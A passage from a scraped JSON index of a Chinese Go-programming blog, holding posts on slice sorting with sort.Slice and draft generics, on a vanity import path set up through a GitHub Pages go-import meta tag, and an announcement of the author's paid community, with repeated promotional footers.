**“Gopher部落”知识星球开球了！**高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/11/28/httpstonybai-com20201128how-to-experience-go-generics-first/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/how-to-experience-go-generics-first-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e本文首发于我主持的\u003ca href=\"https://articles.zsxq.com/id_bjzje91weqn7.html\"\u003e“Gopher部落”知识星球\u003c/a\u003e，欢迎大家加入星球，一起学习Go语言！年底前8.8折优惠，不要错过哦！\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"http://image.tonybai.com/img/202011/gopher-tribe-zsxq.png\"\u003e\u003c/p\u003e\n\u003cp\u003e2020年11月22日，Go核心开发团队技术负责人\u003ca href=\"http://swtch.com/%7Ersc/\"\u003eRuss Cox\u003c/a\u003e在\u003ca href=\"https://groups.google.com/g/golang-dev/c/U7eW9i0cqmo/m/ffs0tyIYBAAJ?pli=1\"\u003egolang-dev论坛\u003c/a\u003e上确认了Go泛型将在Go 1.18落地(2022.2)：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 3: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-generics-at-gophercon-2020-12.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这对于那些迫切期盼go加入泛型的gopher来说无疑是一个重大利好消息！不过，泛型是把双刃剑！泛型的加入势必会让Go语言的复杂性大幅提升。我很是担心Go加入泛型后会像C++模板那样被“滥用”而形成很多\u003cstrong\u003e奇技淫巧\u003c/strong\u003e，这显然不是Go项目组想看到的。因此他们现在在宣传泛型时都是比较谨慎的。\u003ca href=\"https://github.com/griesemer\"\u003eRobert Griesemer\u003c/a\u003e在\u003ca href=\"https://www.gophercon.com/\"\u003eGopherCon 2020\u003c/a\u003e大会上演讲\u003ca href=\"https://mp.weixin.qq.com/s/SMT40557JgQ9FjUkswznlA\"\u003e“Typing [Generic] Go”\u003c/a\u003e中明确给出了Go泛型的使用时机：\u003c/p\u003e","title":"一文告诉你如何抢先体验Go泛型"},{"content":"\n本文首发于“Gopher部落”知识星球！\n切片是Go语言中引入的用于在大多数场合替代数组的语法元素。切片是长度可变的同类型元素序列，它不支持存储不同类型的元素，当然如果你非用**sl := []interface{}{“hello”, 11, 3.14}**来抬杠^_^，那就另当别论。\n有序列的地方就有排序的需求。在各种排序算法都已经成熟的今天，我们完全可以针对特定元素类型的切片手写排序函数/方法，但多数情况下不推荐这么做，因为Go标准库内置了sort包可以很好地帮助我们实现原生类型元素切片以及自定义类型元素切片的排序任务。\n1. sort包的排序原理 截至目前(Go 1.15版本)，Go还不支持泛型。因此，为了支持任意元素类型的切片的排序，标准库sort包定义了一个Interface接口和一个接受该接口类型参数的Sort函数：\n// $GOROOT/src/sort/sort.go type Interface interface { Len() int Less(i, j int) bool Swap(i, j int) } func Sort(data Interface) { n := data.Len() quickSort(data, 0, n, maxDepth(n)) } 为了应用这个排序函数Sort，我们需要让被排序的切片类型实现sort.Interface接口，以整型切片为例：\n// slice-sort-in-go/sort_int_slice.go type IntSlice []int func (p IntSlice) Len() int { return len(p) } func (p IntSlice) Less(i, j int) bool { return p[i] \u0026lt; p[j] } func (p IntSlice) Swap(i, j int) { p[i], p[j] = p[j], p[i] } func main() { sl := IntSlice([]int{89, 14, 8, 9, 17, 56, 95, 3}) fmt.Println(sl) // [89 14 8 9 17 56 95 3] sort.Sort(sl) fmt.Println(sl) // [3 8 9 14 17 56 89 95] } 从sort.Sort函数的实现来看，它使用的是快速排序(quickSort)。我们知道快速排序是在所有数量级为(o(nlogn))的排序算法中其平均性能最好的算法，但在某些情况下其性能却并非最佳，Go sort包中的quickSort函数也没有严格拘泥于仅使用快排算法，而是以快速排序为主，并根据目标状况在特殊条件下选择了其他不同的排序算法，包括堆排序(heapSort)、插入排序(insertionSort)等。\nsort.Sort函数不保证排序是稳定的，要想使用稳定排序，需要使用sort.Stable函数。\n注：稳定排序：假定在待排序的序列中存在多个具有相同值的元素，若经过排序，这些元素的相对次序保持不变，即在原序列中，若r[i]=r[j]且r[i]在r[j]之前，在排序后的序列中，若r[i]仍在r[j]之前，则称这种排序算法是稳定的(stable)；否则称为不稳定的。\n2. sort包的“语法糖”排序函数 我们看到，直接使用sort.Sort函数对切片进行排序是比较繁琐的。如果仅仅排序一个原生的整型切片都这么繁琐(要实现三个方法），那么sort包是会被“诟病”惨了的。还好，对于以常见原生类型为元素的切片，sort包提供了类“语法糖”的简化函数，比如：sort.Ints、sort.Float64s和sort.Strings等。上述整型切片的排序代码可以直接改造成下面这个样子：\n// slice-sort-in-go/sort_int_slice_with_sugar.go func main() { sl := []int{89, 14, 8, 9, 17, 56, 95, 3} fmt.Println(sl) // [89 14 8 9 17 56 95 3] sort.Ints(sl) fmt.Println(sl) // [3 8 9 14 17 56 89 95] } 原生类型有“语法糖”可用了，那么对于自定义类型作为元素的切片，是不是每次都得实现Interface接口的三个方法呢？Go团队也想到了这个问题! 所以在Go 1.8版本中加入了sort.Slice函数，我们只需传入一个比较函数实现即可：\n// slice-sort-in-go/custom-type-slice-sort-in-go.go type Lang struct { Name string Rank int } func main() { langs := []Lang{ {\u0026quot;rust\u0026quot;, 2}, {\u0026quot;go\u0026quot;, 1}, {\u0026quot;swift\u0026quot;, 3}, } sort.Slice(langs, func(i, j int) bool { return langs[i].Rank \u0026lt; langs[j].Rank }) fmt.Printf(\u0026quot;%v\\n\u0026quot;, langs) // [{go 1} {rust 2} {swift 3}] } 同理，如果要进行稳定排序，则用sort.SliceStable替换上面的sort.Slice。\n3. 引入泛型后的切片排序 Russ Cox已经确认了Go泛型(type parameter)将在Go 1.18版本落地，我们来展望一下在2022年2月Go泛型落地后，切片排序该怎么做。好在现在有https://go2goplay.golang.org/可以用于试验go泛型技术草案中的语法。\n在泛型加入后，我们可以按如下方式对原生类型切片进行排序：\n// https://go2goplay.golang.org/p/lKG3saE-1ek package main import ( \u0026quot;fmt\u0026quot; \u0026quot;sort\u0026quot; ) type Ordered interface { type int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64, uintptr, float32, float64, string } type orderedSlice[T Ordered] []T func (s orderedSlice[T]) Len() int { return len(s) } func (s orderedSlice[T]) Less(i, j int) bool { return s[i] \u0026lt; s[j] } func (s orderedSlice[T]) Swap(i, j int) { s[i], s[j] = s[j], s[i] } func OrderedSlice[T Ordered](s []T) { sort.Sort(orderedSlice[T](s)) } func main() { s1 := []int32{3, 5, 2} fmt.Println(s1) // [3 5 2] OrderedSlice(s1) fmt.Println(s1) // [2 3 5] s2 := []string{\u0026quot;jim\u0026quot;, \u0026quot;amy\u0026quot;, \u0026quot;tom\u0026quot;} fmt.Println(s2) // [jim amy tom] OrderedSlice(s2) fmt.Println(s2) // [amy jim tom] } 上面的Ordered接口类型、orderedSlice[T]切片类型以及OrderdSlice函数都可能会内置到sort包中，我们直接使用sort.OrderSlice函数即可对原生类型元素切片进行排序。\n而对于自定义类型，如果我们将其加入到Ordered接口的类型列表(type list)中，像下面这样：\ntype Lang struct { Name string Rank int } type Ordered interface { type int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64, uintptr, float32, float64, string } 那么，当我们像下面代码这样对元素类型为Lang的切片langs进行排序时，我们会遇到编译错误：\nfunc main() { langs := []Lang{ {\u0026quot;rust\u0026quot;, 2}, {\u0026quot;go\u0026quot;, 1}, {\u0026quot;swift\u0026quot;, 3}, } OrderedSlice(langs) fmt.Println(langs) } $prog.go2:20:55: cannot compare s[i] \u0026lt; s[j] (operator \u0026lt; not defined for T) 由于Lang类型不支持\u0026lt;和\u0026gt;比较，因此我们无法将Lang类型放入Ordered的类型列表中。而根本原因在于Go语言不支持运算符重载，这样我们永远无法让自定义类型支持\u0026lt;和\u0026gt;比较，我们只能另辟蹊径，采用sort.Slice的思路：额外提供一个比较函数！\n// https://go2goplay.golang.org/p/7K94ZJuaoDc package main import ( \u0026quot;fmt\u0026quot; \u0026quot;sort\u0026quot; ) type Lang struct { Name string Rank int } type sliceFn[T any] struct { s []T cmp func(T, T) bool } func (s sliceFn[T]) Len() int { return len(s.s) } func (s sliceFn[T]) Less(i, j int) bool { return s.cmp(s.s[i], s.s[j]) } func (s sliceFn[T]) Swap(i, j int) { s.s[i], s.s[j] = s.s[j], s.s[i] } func SliceFn[T any](s []T, cmp func(T, T) bool) { sort.Sort(sliceFn[T]{s, cmp}) } func main() { langs := []Lang{ {\u0026quot;rust\u0026quot;, 2}, {\u0026quot;go\u0026quot;, 1}, {\u0026quot;swift\u0026quot;, 3}, } SliceFn(langs, func(p1, p2 Lang) bool { return p1.Rank \u0026lt; p2.Rank }) fmt.Println(langs) // [{go 1} {rust 2} {swift 3}] } 有人说，SliceFn和非泛型版本的sort.Slice在使用时复杂度似乎也没啥差别啊。形式上的确如此，但内涵上还是有差别的。\n使用泛型方案， 由于少了到interface{}的装箱和拆箱操作，理论上SliceFn的性能要好于sort.Slice函数。根据Go语言之父Robert Griesemer对Go泛型的讲解：\nSliceFn(langs,...) 等价于下面过程：\nsliceFnForLang := SliceFn(Lang) // 编译阶段，sliceFnForLang的函数原型为func(s []Lang, func(Lang, Lang) bool)； sliceFnForLang(langs) // 运行阶段，和普通函数调用无异，但没有了到interface{}类型装箱和拆箱的损耗。 注：本文涉及的源码可以在这里https://github.com/bigwhite/experiments/tree/master/slice-sort-in-go 下载到。\n延伸阅读 Go语言的前世今生 – https://www.imooc.com/read/87/article/2320 Go语言的设计哲学之一：简单 – https://www.imooc.com/read/87/article/2321 Go语言的设计哲学之二：组合 – https://www.imooc.com/read/87/article/2322 Go语言的设计哲学之三：并发 – https://www.imooc.com/read/87/article/2340 **“Gopher部落”知识星球开球了！**高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线\u0026gt;了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/11/26/slice-sort-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/slice-sort-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e本文\u003ca href=\"https://articles.zsxq.com/id_55gf2ui8lrw9.html\"\u003e首发于“Gopher部落”知识星球\u003c/a\u003e！\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e切片\u003c/strong\u003e是Go语言中引入的用于在大多数场合替代数组的语法元素。切片是长度可变的同类型元素序列，它不支持存储不同类型的元素，当然如果你非用**sl := []interface{}{“hello”, 11, 3.14}**来抬杠^_^，那就另当别论。\u003c/p\u003e","title":"一文搞懂Go语言中的切片排序"},{"content":"考虑了很久自己要不要开一个知识星球？自己并不擅长社群运营，但\n自己的技术内容输出档次又是不错的且是持续的，能让一定范围的朋友感觉是有价值的； 面对大家的问题，相信自己的知识和经验储备也能给出很具参考价值的答案； 并且这样的一个知识付费的产品还能反过来督促自己输出更多、更有价值的内容，何乐而不为！ 于是鄙人下载了知识星球的app，大胆地点击了“创建星球”，**“Gopher部落”**这颗星球就这样诞生了！\nGopher部落知识星球\n编写星球介绍的时候，我又犯难了！星球上都发些啥内容呢？聚焦哪些方面的？自己擅长的领域包括Go语言、Kubernetes、容器等。愿意主动跟踪IT领域最新技术趋势，有自己的一套学习方法理论，加上工作多年，对职场有些感悟；自己也是一个兴趣广泛的人，先将这些大概率能分享的填上吧。\n那星球与其他内容输出渠道，比如：博客、公众号、微博、知乎等有啥区别的，是不是星球有的，其他渠道也会同步发布呢？我必须对星友给出承诺啊！于是冥思苦想，写了下面这几条开球承诺：\n每月至少2篇高品质首发Go技术文章 怎么理解？首发代表星球的顺位排行第一！星友们有抢先阅读的权利，就和各大视频网站针对会员的“提前看3集”的权利类似。但这些文章后续也会通过其他渠道付费阅读。或星主根据个人自媒体运营需要，会挑选少数文字在免费渠道做推广使用。\n星主博客技术文章首发阅读权（提前三天)； 有些文章星主是向免费分享的，但考虑到星友的权利，承诺星友的“三天”首发阅读权的。\n每年两期Go语言发展现状分析； 作为长期跟踪Go语言演化和发展的gopher，在每年两次go版本发布时会输出Go语言当前现状的详细介绍。这个是区别于星主传统的“XXX中值得关注的几个变化”系列的。\n每天提前1小时阅读到新鲜的Gopher日报（Go生态圈技术动态、技术会议、大事件、新版本特性、重大bug/安全隐患等）； 星主维护着Gopher日报(github.com/bigwhite/gopherdaily)，这是一个免费分享的技术日报。星主唯一能控制的就是渠道的推送时间。因此，这里承诺星友们Gopher日报的抢先1小时阅读权利。并且可以与星主就日报中的技术事件进行提问和讨论。\n星主出品的网课、技术专栏、图书内容前瞻； 星主爱好制作网课、技术专栏以及与纸版书写作，因此可以给星友提供这方面内容的“前瞻”权利；星主也希望通过和星友的交流反馈，提升作品质量。\nGo语言相关电子版本资料的抢先获得权(仅限公开资料) 星主关注最新IT技术趋势，会抢先收集到一些公开的技术资料，这些资料也会第一时间分享给各位星友。\n针对星友提问的六小时内必答保证（仅限回答时间在早7点~晚8点之内的问题）。 最后就是给星球提问的承诺了。思来想去，给出了“六小时必答”的承诺，估计这也是星主能给出的极限承诺了。毕竟，每个人都有自己的主要工作，不能盯着星球:)。如果节假日星主回答晚了，或因特殊原因没有及时看到提问提醒，还请各位星友担待包涵:)。\n星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球。扫描下方图片二维码即享优惠！\n感谢大家对本星球的支持！\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线\u0026gt;了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/11/22/zssq-gopher-tribe-born/","summary":"\u003cp\u003e考虑了很久自己要不要开一个知识星球？自己并不擅长社群运营，但\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e自己的技术内容输出档次又是不错的且是持续的，能让一定范围的朋友感觉是有价值的；\u003c/li\u003e\n\u003cli\u003e面对大家的问题，相信自己的知识和经验储备也能给出很具参考价值的答案；\u003c/li\u003e\n\u003cli\u003e并且这样的一个知识付费的产品还能反过来督促自己输出更多、更有价值的内容，何乐而不为！\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e于是鄙人下载了\u003cstrong\u003e知识星球\u003c/strong\u003e的app，大胆地点击了“创建星球”，**“Gopher部落”**这颗星球就这样诞生了！\u003c/p\u003e","title":"“Gopher部落”知识星球开球了"},{"content":"\n我们见到的Go包的导入路径常常以github.com、bitbucket.org等代码托管站点的域名为前缀，这样的包导入路径有一个问题，那就是当Go包的托管站点发生变更时(比如从github.om迁移到bitbucket.org或gitlab.com)，该包的使用者需要更新包的导入路径。当然，在支持go module+GOPROXY的情况下，如果使用者不再升级包版本，他/她完全可以继续使用原包导入路径，但这仅是特例。\n还有一些包的导入路径并非以知名代码托管站点域名作为前缀，比如：Go官方扩展包text，它的包导入路径是golang.org/x/text，这种包导入路径被称为vanity import path，字面义是虚荣心导入路径，即以个人或组织官方域名作为前缀的包导入路径。采用vanity import path的包避免了包迁移对包使用者的影响。包使用者完全无需关心包的实际存储位置是在github上还是在bitbucket上或是私有服务器上。同时将vanity import path作为包的权威路径(canonical import path)，也方便go get等对包权威路径的检查，避免包路径变更的前后不一致。\n之前笔者曾经写过两篇文章介绍了利用govanityurls这个工具实现自定义包导入路径的方法。不过这种方法有一个约束条件，那就是你需要有一台VPS主机来部署运行govanityurls。虽然现在的云主机很便宜，但是购买和自建毕竟还是要付出一定成本的。如果没有VPS搭建govanityurls服务，那我们是否还有其他方法来自定义Go包导入路径呢？答案当然是有。\n根据Go官方关于go get命令的文档，当go get从非知名托管站点(github, bitbucket等之外的站点)获取go包时，会尝试在返回的http/https应答head标签中查找是否有如下形式meta标签：\n\u0026lt;meta name=\u0026quot;go-import\u0026quot; content=\u0026quot;import-prefix vcs repo-root\u0026quot;\u0026gt; meta标签中的name值是固定的”go-import”，import-prefix即包vanity import path，比如：go.tonybai.com/gocmpp；vcs是采用的版本控制工具，git、svn或hg等；repo-root是包代码的实际存储服务器url。\n下面是一个实际例子：\n\u0026lt;meta name=\u0026quot;go-import\u0026quot; content=\u0026quot;go.tonybai.com/gocmpp git https://github.com/bigwhite/gocmpp\u0026quot;\u0026gt; 对于这样的标签，go get会做进一步匹配(可参见GOROOT/src/cmd/go/internal/get/vcs.go中的matchGoImport函数实现)，看content值中的import-prefix是否是go get所需要的包的导入路径。如果是，则会向真正存储包代码的服务器再次发起代码获取请求(比如：git clone等）。\n你可能会说：我用一个静态站点服务也能返回这样的应答。没错！但搭建静态站点一般还是需要VPS，这里我们介绍一种无须VPS的方法：利用github pages。\n下面是利用github pages实现自定义Go包导入路径的原理图：\n图：利用github pages实现自定义Go包导入路径\n下面我们就以go.tonybai.com/gocmpp这个包导入路径的定制步骤来说明一下上述原理。\n首先，我们要给tonybai.com这个域名添加一个子域名：go.tonybai.com作为我个人生产的所有Go包的导入路径前缀。我在DNS设置中为go.tonybai.com指定一个CNAME值：go.tonybai.com.github.io。这样当访问go.tonybai.com时，实际上是向go.tonybai.com.github.io发起请求。当然此刻如果你向go.tonybai.com发起请求时，你必然会得到404错误，因为github尚未建立起go.tonybai.com.github.io这个站点。\n接下来，我们就来建立go.tonybai.com.github.io这个基于github pages的静态站点。我创建一个新的代码仓库：github.com/bigwhite/go.tonybai.com.github.io，在该仓库的”Settings”标签中，我们启用github pages，并将该仓库的master分支作为站点的根路径。在同一页面的Custom domain下，我们填入go.tonybai.com，点击save保存。github会在该仓库中创建一个名为CNAME的文件，其内容如下：\n$cat CNAME go.tonybai.com 表示该站点绑定了自定义域名：go.tonybai.com。\n正常情况下，你还可以在Settings标签下启用该静态站点的HTTPS服务，github会自动向Let’s Encrypt发起证书申请。\n注：由于我的域名之前已经在Let’s Encrypt申请过相关证书，这里始终失败。这样导致后续我们只能使用go get -insecure去获取Go包代码。\n在该仓库中，我们创建一个名为gocmpp的文件：\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta name=\u0026quot;go-import\u0026quot; content=\u0026quot;go.tonybai.com/gocmpp git https://github.com/bigwhite/gocmpp\u0026quot;\u0026gt; \u0026lt;meta http-equiv=\u0026quot;refresh\u0026quot; content=\u0026quot;0;URL='https://github.com/bigwhite/gocmpp'\u0026quot;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; Redirecting you to the \u0026lt;a href=\u0026quot;https://github.com/bigwhite/gocmpp\u0026quot;\u0026gt;project page\u0026lt;/a\u0026gt;... \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 该文件内容作为访问go.tonybai.com/gocmpp的请求的应答。\n大约20分钟后，github pages内容生效。我们就可以使用下面命令去获取本存储在github.com/bigwhite/gocmpp下面的包了：\n$go get go.tonybai.com/gocmpp 由于证书问题，这里我们只能用go get -insecure，即让go get使用http协议发起请求。\n在gopath mode下，我们的执行结果如下：\n$GO111MODULE=off go get -x -v -insecure go.tonybai.com/gocmpp # get https://go.tonybai.com/gocmpp?go-get=1 # get https://go.tonybai.com/gocmpp?go-get=1: 200 OK (1.012s) get \u0026quot;go.tonybai.com/gocmpp\u0026quot;: found meta tag get.metaImport{Prefix:\u0026quot;go.tonybai.com/gocmpp\u0026quot;, VCS:\u0026quot;git\u0026quot;, RepoRoot:\u0026quot;https://github.com/bigwhite/gocmpp\u0026quot;} at //go.tonybai.com/gocmpp?go-get=1 go.tonybai.com/gocmpp (download) cd . git clone -- https://github.com/bigwhite/gocmpp /Users/tonybai/Go/src/go.tonybai.com/gocmpp cd /Users/tonybai/Go/src/go.tonybai.com/gocmpp git submodule update --init --recursive cd /Users/tonybai/Go/src/go.tonybai.com/gocmpp git show-ref cd /Users/tonybai/Go/src/go.tonybai.com/gocmpp git submodule update --init --recursive .... .... cd /Users/tonybai/Go/src/go.tonybai.com/gocmpp /Users/tonybai/.bin/go1.14/pkg/tool/darwin_amd64/compile -o $WORK/b001/_pkg_.a -trimpath \u0026quot;$WORK/b001=\u0026gt;\u0026quot; -p go.tonybai.com/gocmpp -complete -buildid O9VmohLTciBDjallbacN/O9VmohLTciBDjallbacN -goversion go1.14 -D \u0026quot;\u0026quot; -importcfg $WORK/b001/importcfg -pack -c=4 ./activetest.go ./client.go ./conn.go ./connect.go ./deliver.go ./fwd.go ./packet.go ./receipt.go ./server.go ./submit.go ./terminate.go /Users/tonybai/.bin/go1.14/pkg/tool/darwin_amd64/buildid -w $WORK/b001/_pkg_.a # internal cp $WORK/b001/_pkg_.a /Users/tonybai/Library/Caches/go-build/ec/ec99b1c49c84d1e2edf88bee646f17198acc38c2c8f5a3d859540a394d6c5d0c-d # internal mkdir -p /Users/tonybai/Go/pkg/darwin_amd64/go.tonybai.com/ mv $WORK/b001/_pkg_.a /Users/tonybai/Go/pkg/darwin_amd64/go.tonybai.com/gocmpp.a rm -r $WORK/b001/ /Users/tonybai/go/src git:(master) $tree -L 1 go.tonybai.com go.tonybai.com └── gocmpp 1 directory, 0 files 我们看到go get成功通过go.tonybai.com/gocmpp获取到gocmpp包，并编译安装成功(安装到GOPATH/pkg/下面)。\n下面是module-aware模式下的go get获取结果：\n$GOPROXY='direct' go get -insecure -x -v go.tonybai.com/gocmpp # get https://go.tonybai.com/?go-get=1 # get https://go.tonybai.com/gocmpp?go-get=1 # get https://go.tonybai.com/?go-get=1: 200 OK (1.032s) # get https://go.tonybai.com/gocmpp?go-get=1: 200 OK (1.056s) get \u0026quot;go.tonybai.com/gocmpp\u0026quot;: found meta tag get.metaImport{Prefix:\u0026quot;go.tonybai.com/gocmpp\u0026quot;, VCS:\u0026quot;git\u0026quot;, RepoRoot:\u0026quot;https://github.com/bigwhite/gocmpp\u0026quot;} at //go.tonybai.com/gocmpp?go-get=1 mkdir -p /Users/tonybai/Go/pkg/mod/cache/vcs # git3 https://github.com/bigwhite/gocmpp ... ... 0.017s # cd /Users/tonybai/Go/pkg/mod/cache/vcs/63c8ecfc5ed2c830894c13fd15ab1494ce9897aefba1d11c78740b046033e9ae; git cat-file blob 0f5a658fda5e029943f9b256fefe4fa4550e7906:go.mod go get: go.tonybai.com/gocmpp@v0.0.0-20200715060927-0f5a658fda5e: parsing go.mod: module declares its path as: github.com/bigwhite/gocmpp but was required as: go.tonybai.com/gocmpp 我们看到go get同样获取到了gocmpp module，但是由于module-aware模式下，go get会对module根路径进行检查，因此go get发现了go.mod中的module根路径：github.com/bigwhite/gocmpp与要获取的module路径(go.tonybai.com/gocmpp)不符并报错。我们更新一下gocmpp项目中的go.mod内容后，这个问题将不复存在。\n这样，我们在没有VPS的前提下也实现了自定义包导入路径。后续每当我创建一个新module或新包，我只需向该仓库(go.tonybai.com.github.io)提交一个以module或package名字命名的文件即可，就像上的gocmpp文件那样。\n* 参考资料：https://gianarb.it/blog/go-mod-vanity-url 我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线\u0026gt;了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接\u0026gt;口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily(Go每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/11/15/another-approach-to-customize-package-import-path/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/another-approach-to-customize-package-import-path-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e我们见到的\u003ca href=\"https://tonybai.com/2015/03/09/understanding-import-packages/\"\u003eGo包的导入路径\u003c/a\u003e常常以github.com、bitbucket.org等代码托管站点的域名为前缀，这样的包导入路径有一个问题，那就是\u003cstrong\u003e当Go包的托管站点发生变更时(比如从github.om迁移到bitbucket.org或gitlab.com)，该包的使用者需要更新包的导入路径\u003c/strong\u003e。当然，在\u003ca href=\"https://tonybai.com/2018/11/26/hello-go-module-proxy/\"\u003e支持go module+GOPROXY\u003c/a\u003e的情况下，如果使用者不再升级包版本，他/她完全可以继续使用原包导入路径，但这仅是特例。\u003c/p\u003e\n\u003cp\u003e还有一些包的导入路径并非以知名代码托管站点域名作为前缀，比如：Go官方扩展包text，它的包导入路径是\u003cstrong\u003egolang.org/x/text\u003c/strong\u003e，这种包导入路径被称为\u003cstrong\u003evanity import path\u003c/strong\u003e，字面义是\u003cstrong\u003e虚荣心导入路径\u003c/strong\u003e，即以个人或组织官方域名作为前缀的包导入路径。采用vanity import path的包\u003cstrong\u003e避免了包迁移对包使用者的影响\u003c/strong\u003e。包使用者完全无需关心包的实际存储位置是在github上还是在bitbucket上或是私有服务器上。同时将vanity import path作为包的\u003ca href=\"http://tonybai.com/2014/11/04/some-changes-in-go-1-4/\"\u003e权威路径(canonical import path)\u003c/a\u003e，也方便go 